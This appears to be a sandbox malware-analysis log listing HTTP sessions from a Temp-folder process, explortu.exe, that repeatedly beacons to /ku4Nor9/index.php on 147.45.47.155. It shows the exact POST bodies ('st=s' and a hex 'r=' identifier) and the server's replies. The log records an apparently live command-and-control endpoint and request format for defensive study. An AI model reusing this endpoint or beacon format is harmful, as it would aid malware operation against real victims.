Jun 26, 2024 08:16:49.383215904 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49762	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.398854971 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49763	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.523436069 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49764	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.539810896 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49765	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.666652918 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49766	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.683604002 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49767	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.809592009 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49768	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.861407042 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49769	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.976392984 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:50.649650097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:50.650470018 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:50.859750986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49770	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:50.980082035 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49771	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:51.005714893 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49772	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:51.117497921 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49773	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:51.135463953 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49774	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:51.257417917 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49775	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:51.270596981 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49776	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:51.382245064 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:52.073997021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:52.074856043 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:52.283349991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49777	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:52.399224997 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:53.065279961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:53.067428112 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:53.274374962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49778	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:53.383158922 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49779	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:53.433111906 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49780	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:53.570837975 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49781	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:53.591562986 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49782	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:53.715661049 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:54.410613060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:54.411700964 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:54.624329090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49783	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:54.913249969 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:55.579189062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:55.580048084 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:55.787115097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49785	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:55.914537907 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:56.605623007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:56.606400967 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
